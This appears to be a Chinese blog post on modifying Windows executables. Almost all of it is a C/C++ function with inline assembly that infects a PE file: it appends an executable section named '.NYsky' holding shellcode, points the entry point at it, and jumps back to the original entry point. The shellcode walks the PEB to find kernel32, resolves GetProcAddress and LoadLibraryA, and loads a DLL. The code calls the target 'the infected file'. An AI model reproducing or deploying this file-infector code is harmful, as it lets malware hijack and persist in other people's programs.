修改exe

修改入口函数地址。这个是最省事的办法,在原PE文件中新增加一个节,计算新节的RVA,然后修改入口代码,使其指向新增加的节。当然,如果.text节空隙足够大的话,不用添加新节也可以。

C/C++ code
   
   
BOOL ChangeOEP(CString strFilePath) { FILE * rwFile; // 被感染的文件 IMAGE_SECTION_HEADER NewSection; // 定义要添加的区块 IMAGE_NT_HEADERS NThea; // DWORD pNT; // pNT中存放IMAGE_NT_HEADERS结构的地址 int nOldSectionNo; int OEP; if ((rwFile = fopen(strFilePath, " rb " )) == NULL){ // 打开文件失败则返回 return FALSE; } if ( ! CheckPE(rwFile)){ // 如果不是PE文件则返回 return FALSE; } fseek(rwFile, 0x3c , 0 ); fread( & pNT, sizeof (DWORD), 1 ,rwFile); fseek(rwFile,pNT, 0 ); fread( & NThea, sizeof (IMAGE_NT_HEADERS), 1 ,rwFile); // 读取原文件的IMAGE_NT_HEADERS结构 nOldSectionNo = NThea.FileHeader.NumberOfSections; // 保存原文件区块数量 OEP = NThea.OptionalHeader.AddressOfEntryPoint; // 保存原文件区块OEP IMAGE_SECTION_HEADER SEChea; // 定义一个区块存放原文件最后一个区块的信息 int SECTION_ALIG = NThea.OptionalHeader.SectionAlignment; int FILE_ALIG = NThea.OptionalHeader.FileAlignment; // 保存文件对齐值与区块对齐值 memset( & NewSection, 0 , sizeof (IMAGE_SECTION_HEADER)); fseek(rwFile,pNT + 248 , 0 ); // 读原文件最后一个区块的信息 for ( int i = 0 ;i < nOldSectionNo;i ++ ) fread( & SEChea, sizeof (IMAGE_SECTION_HEADER), 1 ,rwFile); FILE * newfile = fopen(strFilePath, " rb+ " ); if (newfile == NULL){ return FALSE; } fseek(newfile,SEChea.PointerToRawData + SEChea.SizeOfRawData,SEEK_SET); goto shellend; __asm { shell: PUSHAD MOV EAX,DWORD PTR FS:[30H] ;FS:[30H]指向PEB MOV EAX,DWORD PTR [EAX + 0CH] ;获取PEB_LDR_DATA结构的指针 MOV EAX,DWORD PTR [EAX + 1CH] ;获取LDR_MODULE链表表首结点的inInitializeOrderModuleList成员的指针 MOV EAX,DWORD PTR [EAX] ;LDR_MODULE链表第二个结点的inInitializeOrderModuleList成员的指针 MOV EAX,DWORD PTR [EAX + 08H] ;inInitializeOrderModuleList偏移8h便得到Kernel32.dll的模块基址 MOV EBP,EAX ;将Kernel32.dll模块基址地址放至kernel中 MOV EAX,DWORD PTR [EAX + 3CH] ;指向IMAGE_NT_HEADERS MOV EAX,DWORD PTR [EBP + EAX + 120 ];指向导出表 MOV ECX,[EBP + EAX + 24 ] ;取导出表中导出函数名字的数目 MOV EBX,[EBP + EAX + 32 ] ;取导出表中名字表的地址 ADD EBX,EBP PUSH WORD PTR 0X00 ;构造GetProcAddress字符串 PUSH DWORD PTR 0X73736572 PUSH DWORD PTR 0X64644163 PUSH DWORD PTR 0X6F725074 PUSH WORD PTR 0X6547 MOV EDX,ESP PUSH ECX F1: MOV EDI,EDX POP ECX DEC ECX TEST ECX,ECX JZ EXIT MOV ESI,[EBX + ECX * 4 ] ADD ESI,EBP PUSH ECX MOV ECX, 15 REPZ CMPSB TEST ECX,ECX JNZ F1 POP ECX MOV ESI,[EBP + EAX + 36 ] ;取得导出表中序号表的地址 ADD ESI,EBP MOVZX ESI,WORD PTR[ESI + ECX * 2 ] ;取得进入函数地址表的序号 MOV EDI,[EBP + EAX + 28 ] ;取得函数地址表的地址 ADD EDI,EBP MOV EDI,[EDI + ESI * 4 ] ;取得GetProcAddress函数的地址 ADD EDI,EBP PUSH WORD PTR 0X00 ;构造LoadLibraryA字符串 PUSH DWORD PTR 0X41797261 PUSH DWORD PTR 0X7262694C PUSH DWORD PTR 0X64616F4C PUSH ESP PUSH EBP CALL EDI ;调用GetProcAddress取得LoadLibraryA函数的地址 PUSH WORD PTR 0X00 ;添加参数“test”符串 PUSH DWORD PTR 0X74736574 PUSH ESP CALL EAX EXIT: ADD ESP, 36 ;平衡堆栈 POPAD } shellend: char * pShell; int nShellLen; BYTE jmp = 0xE9 ; __asm { LEA EAX,shell MOV pShell,EAX; LEA EBX,shellend SUB EBX,EAX MOV nShellLen,EBX } // 写入SHELLCODE, for (i = 0 ;i < nShellLen;i ++ ) fputc(pShell[i],newfile); // SHELLCODE之后是跳转到原OEP的指令 NewSection.VirtualAddress = SEChea.VirtualAddress + Align(SEChea.Misc.VirtualSize,SECTION_ALIG); OEP = OEP - (NewSection.VirtualAddress + nShellLen) - 5 ; fwrite( & jmp, sizeof (jmp), 1 , newfile); fwrite( & OEP, sizeof (OEP), 1 , newfile); // 将最后增加的数据用0填充至按文件中对齐的大小 for (i = 0 ;i < Align(nShellLen,FILE_ALIG) - nShellLen - 5 ;i ++ ) fputc( ' \0 ' ,newfile); // 新区块中的数据 strcpy(( char * )NewSection.Name, " .NYsky " ); NewSection.PointerToRawData = SEChea.PointerToRawData + SEChea.SizeOfRawData; NewSection.Misc.VirtualSize = nShellLen; NewSection.SizeOfRawData = Align(nShellLen,FILE_ALIG); NewSection.Characteristics = 0xE0000020 ; // 新区块可读可写可执行、写入新的块表 fseek(newfile,pNT + 248 + sizeof (IMAGE_SECTION_HEADER) * nOldSectionNo, 0 ); fwrite( & NewSection, sizeof (IMAGE_SECTION_HEADER), 1 ,newfile); int nNewImageSize = NThea.OptionalHeader.SizeOfImage + Align(nShellLen,SECTION_ALIG); int nNewSizeofCode = NThea.OptionalHeader.SizeOfCode + Align(nShellLen,FILE_ALIG); fseek(newfile,pNT, 0 ); NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0 ; NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0 ; NThea.OptionalHeader.SizeOfCode = nNewSizeofCode; NThea.OptionalHeader.SizeOfImage = nNewImageSize; NThea.FileHeader.NumberOfSections = nOldSectionNo + 1 ; NThea.OptionalHeader.AddressOfEntryPoint = NewSection.VirtualAddress; // 写入更新后的PE头结构 fwrite( & NThea, sizeof (IMAGE_NT_HEADERS), 1 ,newfile); fclose(newfile); fclose(rwFile); return TRUE; }
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值